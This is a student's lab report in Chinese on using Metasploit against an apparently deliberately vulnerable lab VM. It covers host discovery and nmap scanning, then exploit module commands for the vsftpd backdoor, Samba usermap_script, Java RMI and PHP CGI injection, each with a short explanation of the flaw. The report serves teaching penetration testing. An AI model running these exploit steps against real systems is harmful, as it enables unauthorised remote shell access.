首页 > 其他分享 >20222318 2024-2025-1 《网络与系统攻防技术》实验六实验报告

20222318 2024-2025-1 《网络与系统攻防技术》实验六实验报告

时间:2024-11-19 22:58:14浏览次数:1  
标签:命令 漏洞 IP 端口 2024 2025 exploit 20222318 靶机

1.实验内容

1.1 实验要求

掌握Metasploit的使用方法:“Search——Use——Show——Set——Exploit/run”。

1.2 实验任务

(1)前期渗透

(2)Vsftpd源码包后门漏洞(21端口)

(3)SambaMS-RPC Shell命令注入漏洞(端口139)

(4)Java RMI SERVER命令执行漏洞(1099端口)

(5)PHP CGI参数执行注入漏洞(80端口)

1.3 本周学习内容

本周就是在周五就已经被测试折磨得学会了metasploit,虽然最终因为各种原因没做出来,但是还是了解了整个过程以及原理,掌握了搜索对应漏洞,再通过show options来找出自己需要填的参数的万能方法(好吧也并不万能,如果受害机打了补丁修复了漏洞就无能为力了)。

2.实验过程

2.1 前期渗透

(1)主机发现(可用Aux中的arp_sweep,search一下就可以use)

在Kali中依次输入如下命令。

  • msfconsole //进入msf控制台

  • search arp_sweep //搜寻arp_sweep功能模块

  • use 0 //在查询结果中使用第0项模块(也可以将0换成具体模块名字)

  • show options //查找该模块目前已填入的参数(同时可以看到需要填写的参数)

可以看到必填项只剩RHOST没填,所以我们只需要去靶机查询IP地址,设置参数即可。

在靶机下载官网可知道登录靶机用户名和密码均为“msfadmin”,进入靶机。

在靶机中输入 ipconfig

再返回Kali输入如下命令。

  • set RHOSTS 192.168.197.148/24 //设置目标主机IP地址

  • run //开始扫描

可能是由于写了子网掩码,扫描的其实是目标网段。可能命令里IP地址应该是一个网段。

不过不管怎样,在扫描结果中找到了靶机。

(2)端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

输入exit退出msf控制台。在命令行中直接使用指令:

nmap -p 1-2318 192.168.197.148 //扫描靶机的1-2318端口。

可以在截图中看到开放的端口。

(3)漏洞扫描。

接着使用nmap -script=vuln 192.168.197.148对靶机进行漏洞扫描。

可以看到靶机中存在相当多漏洞。在图片信息中提取出本次实验要用到的21、139、1099、80端口的开放信息以及漏洞信息。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

在Kali中进入msf控制台,输入如下命令:

  • use exploit/unix/ftp/vsftpd_234_backdoor //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

再利用uname –apwdidifconfig等命令进行验证是否攻击成功

可以看到已经获取靶机shell,攻击成功。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

在msf控制台中,输入如下命令:

  • use exploit/multi/samba/usermap_script //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

再利用ifconfig命令进行验证是否攻击成功,可以看到攻击成功了。

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

在msf控制台中,输入如下命令:

  • use exploit/multi/misc/java_rmi_server //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

  • ifconfig //验证攻击是否成功

可以看到攻击成功了(其实没有)。

不知道为什么无法打开shell呢。但是又可以输入其他一些命令,看起来好像取得了部分控制权一样。

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在msf控制台中,输入如下命令:

  • use exploit/multi/http/php_cgi_arg_injection //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

  • shell //尝试打开靶机shell

标签:命令,漏洞,IP,端口,2024,2025,exploit,20222318,靶机
From: https://www.cnblogs.com/Keitaro726/p/18555571

相关文章

  • 2024/11/19语法整理
    look的用法1.Look可以表示“看”呀,就像你说“Lookatthatbird!”(看那只鸟!),这是很基础的用法呢。2.“Havealook”也是常用的搭配呀,比如“Let'shavealookatthisbook."(让我们看看这本书。),是不是很简单易懂呀!3.Look还能和“like”一起用呢,“Itlookslikerain......
  • 河南工大2024新生周赛(4)——命题人:马贺
    A:DokiDokiLiteratureClub!直接输出就可以了。#include<stdio.h>intmain(){printf("JustMonika!");return0;}B:君と彼女と彼女の恋∵y最大可以等于x∴gcd(x,y)最大=x直接输出2∗x即可#include<stdio.h>intmain(){intx;scanf("%d",......
  • 【2024最新股票数据接口】API接口大全,包含最新实时数据、历史数据等各项数据接口
    在量化分析这一领域,实时且准确的数据接口是必不可少的。经过大量实际测试后,我可以确定下面所列举的数据接口全都稳定且能正常使用,而且我已经为大家准备好了可以直接点击的超链接。只要轻轻点击一下,就能获取相应的数据,同时马上验证接口是否有效。此刻,我非常愿意把这些珍贵的资源......
  • 2024实时股票api接口分享
    股票实时api接口有什么用?实时股票API接口(www.biyingapi.com)是应用程序编程接口的一种,它允许开发者通过编程方式访问股票市场的实时数据。这种接口通常提供了股票市场的实时价格、成交量、买卖盘口、市场动态以及专业数据分析工具等功能。实时股票API接口的作用主要体现在以下......
  • 2025年前端面试准备css篇
    1.css盒子模型css包含了内容(content),内边距(padding),边框(border),外边距(margin)等因素。css标准盒子模型宽包括:margin+border+padding+widthIE盒子模型的宽包括:border+padding+width 2.css选择器优先级id选择器:#main{}class选择器:.main{}......
  • .NET周刊【11月第3期 2024-11-17】
    国内文章.NET9使用Scalar替代Swaggerhttps://www.cnblogs.com/netry/p/18543378/scalar-an-alternative-to-swagger-in-dotnet-9.NET9移除了Swashbuckle.AspNetCore,因为其维护不力,并转向Microsoft.AspNetCore.OpenApi。除了Swashbuckle,还有NSwag、Scalar等替代方案。Sca......
  • JCB ServiceMaster 4 Software(10/2024)
    Intherapidlyevolvingworldofheavymachineryandconstructionequipment,efficiencyandprecisionareparamount.JCB,aleaderininnovativeengineering,hasdevelopedtheJCBElectronicServiceTool(EST)diagnosticinterfacetostreamlinetheproces......
  • [赛记] 多校A层冲刺NOIP2024模拟赛24
    选取字符串60pts直接暴力60pts;这题难点在于读懂题把。。。考虑建出$KMP$树,然后在其中选出$k$个数,他们的$LCA$的深度的平方和就是这个答案,然后简单统计一下即可;具体地,把$KMP$树建出来,然后求每$k$个点的$LCA$的深度的平方和即可,最后乘上方案数(总的减去......
  • 多校A层冲刺NOIP2024模拟赛24
    选取字符串建出失配树以后直接dp就好了。但场上现推的kmp……点此查看代码#include<bits/stdc++.h>usingnamespacestd;#definerep(i,s,t,p)for(inti=s;i<=t;i+=p)#definedrep(i,s,t,p)for(inti=s;i>=t;i-=p)#ifdefLOCALFILE*InFile=freope......
  • 2025最新-计算机毕业设计Java基于kubenetes的OpenStack私有云平台部署
    一、项目介绍  基于K8S的opoenstack私有云平台的监测系统通过对Web应用服务器运行情况的分析统计系统的建设以实现服务器运行数据监控与分析功能。私有云平台是web应用正常运行的核心,为了确保这些网站的稳定运行,势必需要做好对网站服务器的监控。做好对服务器运行的各......